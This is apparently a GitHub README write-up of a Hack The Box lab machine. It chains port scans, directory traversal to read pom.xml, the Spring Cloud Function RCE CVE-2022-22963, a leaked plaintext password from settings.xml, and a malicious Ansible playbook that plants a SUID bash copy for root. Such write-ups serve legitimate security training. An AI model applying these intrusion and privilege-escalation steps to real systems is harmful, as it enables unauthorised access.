Skip to content

Latest commit

 

History

History
138 lines (72 loc) · 2.39 KB

README.md

File metadata and controls

138 lines (72 loc) · 2.39 KB
nmap -p- --min-rate 10000 10.10.11.204 -Pn  

Alt text

After discovering open ports, let's do greater nmap scan.

nmap -A -sC -sV -p22,8080 10.10.11.204 

Alt text

After accessing application, I can't find interesting thing to hack.

Alt text

Let's do directory brute-force.

feroxbuster -u http://10.10.11.204:8080

Alt text

I found /show-image endpoint on web application make enumeration on this.

Alt text

Let's do Directory Traversal attack to read system files.

Alt text

I found pom.xml file on /var/www/WebApp directory.

Alt text

Let's read content of this.

Alt text

I found that there's 'Spring Cloud Function' is used via outdated version '3.2.2' and have RCEexploit.

Alt text

That's CVE-2022-22963.

python3 exploit.py -u http://10.10.11.204:8080/

Alt text

Let's make interactive shell.

python3 -c 'import pty; pty.spawn("/bin/bash")'
Ctrl+Z
stty raw -echo; fg
export TERM=xterm
export SHELL=bash

Alt text

I found settings.xml file which contains sensitive credentials on frank's home directory.

Alt text

phil: DocPhillovestoInject123

Let's switch into this user via su - phil command.

user.txt

Alt text

I upload pspy64 file into machine.

1.First, open http server.

python3 -m http.server --bind 10.10.16.7 8080

Alt text

2.Second, let's download this binary.

wget http://10.10.16.7:8080/pspy64

Alt text

I see that background job is ansible_playbook runs .yml files for /opt/automation directory.

Alt text

Let's create malicious .yml file which makes copy of /bin/bash and add SUID binary into this.

- hosts: localhost
  tasks:
  - name: 'dr4ks owns inject'
    shell: cp /bin/bash /tmp/dr4ks; chmod 4777 /tmp/dr4ks 

Alt text

After this executed , I can see this via ls -al /tmp/dr4ks.

Alt text

Let's execute this binary ./dr4ks -p.

Alt text